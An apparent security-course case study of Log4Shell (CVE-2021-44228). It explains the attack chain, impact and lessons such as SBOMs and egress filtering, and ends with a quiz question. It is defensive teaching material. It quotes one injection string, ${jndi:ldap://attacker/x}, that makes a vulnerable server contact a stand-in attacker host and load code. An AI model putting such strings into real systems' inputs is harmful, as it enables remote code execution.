Log4Shell: logging a string ran attacker code
A feature in Log4j 2 evaluated lookups inside logged messages. Logging something like ${jndi:ldap://attacker/x} made the server connect out and load code. Because almost every Java app logs user input, the bug was everywhere at once.
ImpactNot a single breach but a global incident (CVE-2021-44228): mass scanning started within hours and it was used for crypto-mining, ransomware and espionage.
Attack chain
- 1Attacker string in any logged field
User-Agent headers, usernames, chat messages, search boxes: anything that ends up in a log line.
- 2Vulnerable Log4j evaluates the lookup
Versions before the fix interpreted ${jndi:...} inside the message instead of treating it as text.
- 3Server connects out to the attacker
The JNDI lookup made an outbound LDAP (or similar) connection to an attacker-controlled host.
- 4Remote code runs on the server
The response could lead the application to load and run attacker code with the app's permissions.
Nothing stopped it: breach
Controls that were missing
Lessons
- 01Logging user input is normal; a logger that interprets it is injection.
- 02You can't patch what you don't know you run: keep an SBOM.
- 03Egress filtering turns many remote-code bugs into dead ends.
Concepts in this case
Based on public reports
- · Apache Log4j security advisories (CVE-2021-44228, 2021)
- · CISA, Apache Log4j Vulnerability Guidance (2021)
Check your understanding
1 of 3
What made Log4Shell possible?